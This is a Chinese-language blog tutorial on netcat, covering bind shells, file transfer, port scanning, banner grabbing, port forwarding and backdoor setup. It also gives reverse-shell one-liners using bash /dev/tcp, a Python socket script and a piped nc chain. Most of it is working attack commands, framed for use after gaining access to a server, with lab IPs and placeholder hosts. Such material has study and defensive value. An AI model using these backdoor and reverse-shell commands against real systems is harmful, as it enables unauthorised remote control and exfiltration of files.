netcat

学习学习

Posted by lll-yz on May 18, 2021

基础使用方法

使用帮助:

选项 是否有“选项值” 说明
h NO 输出 nc 的帮助
v NO 在网络通讯时,显示详细的输出信息。注:建议新手多用该选项,出错时帮你诊断问题
n NO 对命令行中的“主机”,【不】进行域名解析。注:如果“主机”是“点分格式”的 IP 地址,需要用该选项;如果“主机”是“域名”形式,【不能】用该选项
p YES 指定“端口号”
l NO 开启“监听模式”,nc 作为【服务端】。注:如不加该选项,nc 默认作为客户端
u NO 使用 UDP 协议。注:如不加该选项,默认是 TCP 协议
w YES 设置连接的超时间隔(N 秒)
q YES 让 nc 延时(N 秒)再退出
z NO 开启“zero-I/O 模式”。注:该选项仅用于“端口扫描”,后面会聊到
k NO 配合 -l 选项使用,可以重复接受客户端连接。注:“原版 nc”的该选项用来开启“TCP keepalive”。这是“原版 nc”与“OpenBSD 变种”之间的差异之一
X YES 指定代理的类型(具体用法,后面会聊到)。注:“原版 nc”【没有】该选项。这是“原版 nc”与“OpenBSD 变种”之间的差异之一
x YES 以 IP:port 的格式指定代理的位置。注:“原版 nc”【没有】该选项。这是“原版 nc”与“OpenBSD 变种”之间的差异之一
e YES 启动某个进程,把该进程的“标准输入输出”与网络通讯【对接】。注:通常用该选项开启一个网络后门。“OpenBSD 变种”基于安全考虑,已去掉该选项,但还是能用间接的方式达到同样的效果。

创建一个服务端方法:

nc -l -p [localport]

gfwT2t.png

创建一个客户端方法(连接服务端):

nc [remote_addr] [remoteport]

gfwbKf.png

这里仅仅实现了一个简单的通信系统,并不能对机器进行命令执行。

返回shell的使用

创建一个服务端的方法:

nc -l -p [localport] -e cmd.exe  #windows

nc -l -p [localport] -e /bin/bash  #linux

gfrgWd.png

创建客户端方法(连接服务器): 要想连接到服务器记得开放了端口!

nc [remote_addr] [remoteport]

gfrhOP.png

这里能实现一个返回shell的通信。

开放端口、关闭端口:

ufw allow 4444
ufw deny 4444

netcat文件传输

应用场景

1.取证

当目标机器被黑客攻击之后,取证人员可用利用nc的文件传输功能来获取目标机器上的文件内容。避免直接在目标机器上进行操作造成取证误差。

2.单纯获取目标机器敏感文件

当目标机器上有一些文件内容,无法正常下载时,可用利用nc进行文件传输。

传输原理

nc中的数据传输,使用的是标准的输入、输出流,所以可用直接利用命令行来进行操作。

使用方法

创建一个服务端方法:

nc -l -p [localport] > outfile

root@localhost:~# nc -l -p 4444 > outfile

创建一个客户端方法(连接服务端):

nc [remote_addr] [remoteport] < infile

root@010:~# nc 192.168.78.129 4444 < /var/flag.txt

root@localhost:~# cat outfile
flag{this_is_flag}

这就实现了客户端向服务端发送文件。

nc -l -p [localport] < infile

root@localhost:~# nc -l -p 4444 < /var/flag.txt
nc [remote_addr] [remoteport] > outfile

root@010:~# nc 192.168.78.129 4444 > outfile

root@010:~# cat outfile
flag{this_is_flag_2}

这又实现了服务端向客户端传输数据。

注意: 如果此时服务端并没有准备好连接,而客户端已经使用nc进行连接,那么客户端会一直等待下去,直到连接上服务端,造成一种假死状态。

解决方法:

nc -w3 [ip] [port]

设置等待3秒,超过3秒,客户端直接关闭等待连接。

netcat信息探测

使用场景

1.目标内网的扫描

当获得目标权限后,如果目标没有任何途径可以对内网进行探测,但此时刚好具有一个netcat的话,就可以使用netcat进行内网IP和端口的扫描。

2.单纯对某个目标进行端口探测

当手头没有任何探测工具可以使用netcat进行端口探测。

3.对目标的服务banner进行抓取

通过netcat对目标端口进行探测。

使用命令行

nc -v -n -z -w1 [target_ip] [start_target_port-stop_target_port]
  • -v 表示对错误进行详细输出。
  • -n 不对目标机器进行DNS解析。
  • -z zero I/O 模式,专用于端口扫描。表示对目标IP发送的数据表中不包含任何payload,这样做可以加快扫描的速度。
  • -w1 超时1秒,即关闭等待连接。

扫描:

gh1qc4.png

banner抓取使用方法

echo " " | nc -v -n -w1 [target_ip] [start_target_port-stop_target_port]

抓取某目标机1-1000端口的banner信息:

echo " " | nc -v -n -w1 192.168.78.129 1-1000

netcat建立后门

使用场景

1.获取目标的命令执行权限

当目标机器上存在netcat之后,可以使用netcat建立后门,来实现目标执行的功能。

原理

netcat一切数据是通过标准输入/输出流实现的,所以可以利用netcat的命令进行后门建立,并传输结果信息。

Windows建立后门方法
  • 监听型后门
nc -l -p 4444 -e cmd.exe
  • 连接型后门
nc [remote_ip] [remote_port] -e cmd.exe

无论哪种后门,都需要使用-e cmd.exe来返回对应的cmd.exe。

Linux建立后门方法
  • 监听型后门
nc -l -p 4444 -e /bin/bash
  • 连接型后门
nc [remote_ip] [remote_port] -e /bin/bash

netcat连接转发

echo nc [target] [port] > delpay.bat

nc -l -p [localport] -e deply.bat

delpay内容:

nc64.exe 192.168.78.129 4445

当有客户端连接该服务端时,连接的客户端和通过服务端连接到target port上,实现了连接转发功能。(端口转发)

实验:端口转发

Kali1:192.168.78.129

Kali2:192.168.78.131

背景:192.168.78.131的用户要访问192.168.78.129的4445端口,但是该端口被防火墙保护着,不允许外界机器访问。而192.168.78.131可以访问到192.168.78.129的4444端口。

目标:192.168.78.131通过访问192.168.78.129的4444端口,达到访问4445端口的目的。

1.在192.168.78.129端口上监听4445端口:

nc -l -p 4445

2.在192.168.78.129上实现4444端口转发:

cat /var/test | nc localhost 4445 | nc -l -p 4444 > /var/test

3.在192.168.78.131上连接192.168.78.129的4444端口:

nc 192.168.78.129 4444

ghwhkQ.png

ghw5fs.png

gh0F0O.png

可以看到成功的使其与4445端口连接,而连接的为4444端口。

netcat反弹shell(bash)

应用场景

某些拿到服务器权限之后,想要设置一个反弹shell,但是目标服务器上没有安装netcat时。

基础介绍

反弹shell命令:

bash -i >& /dev/tcp/ip/port 0>&1

g5N2GR.png

PC接收netcat命令:

nc -lvp port

g5Nvsf.png

命令解释介绍

bash -i >& /dev/tcp/ip/port 0>&1

在命令中bash -i表示已交互模式运行bash shell。重定向符>&,如果在其后加文件描述符,是将bash -i交互 模式传递给文件描述符,而如果其后面是文件,则将bash -i交互模式传递给文件。/dev/tcp/ip/port表示传递给远程主机的IP地址对应的端口。

文件描述符:0 标准输入、1 标准输出、2 错误输入输出。

命令行中0>&1表示将标准输入重定向到标准输出,实现远程的输入可以在远程输出对应内容。

netcat反弹shell(python)

应用场景

某些拿到服务器权限之后,想要设置一个反弹shell。但是目标服务器上没有安装netcat时,但是安装了python。(Linux上一般会安装python)

基础介绍

反弹shell命令:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

PC接收netcat命令:

nc -lvp port

命令解释

首先使用socket与远程建立连接,具有了远程的文件描述符,可以使用s.fileno()来查看具体套接字建立的远程文件描述符。

os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,使用os的subprocess在本地开启了一个子进程,传入参数-i使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样就可以实现反弹shell。

netcat反弹shell(不支持 nc -e)

应用场景

某些拿到服务器权限之后,想要设置一个反弹shell。当时因为配置原因不支持-e参数。

基础介绍

反弹shell:

nc ip port | /bin/bash | nc ip port

g5dWzn.png

连接攻击机的4444端口,将传递过来的命令交给/bin/bash执行然后将结果返回到4445端口。

PC接收netcat命令,想要启动两个监听端口:

nc -lvp port

g5d2Gj.png

命令解释

在攻击测试机器上开启两个 nc 进行监听,其中一个作为输入,另一个作为输出。目标机器上 使用管道来重新定向输入输出。

这里在4444端口输入的命令,会在4445端口处显示。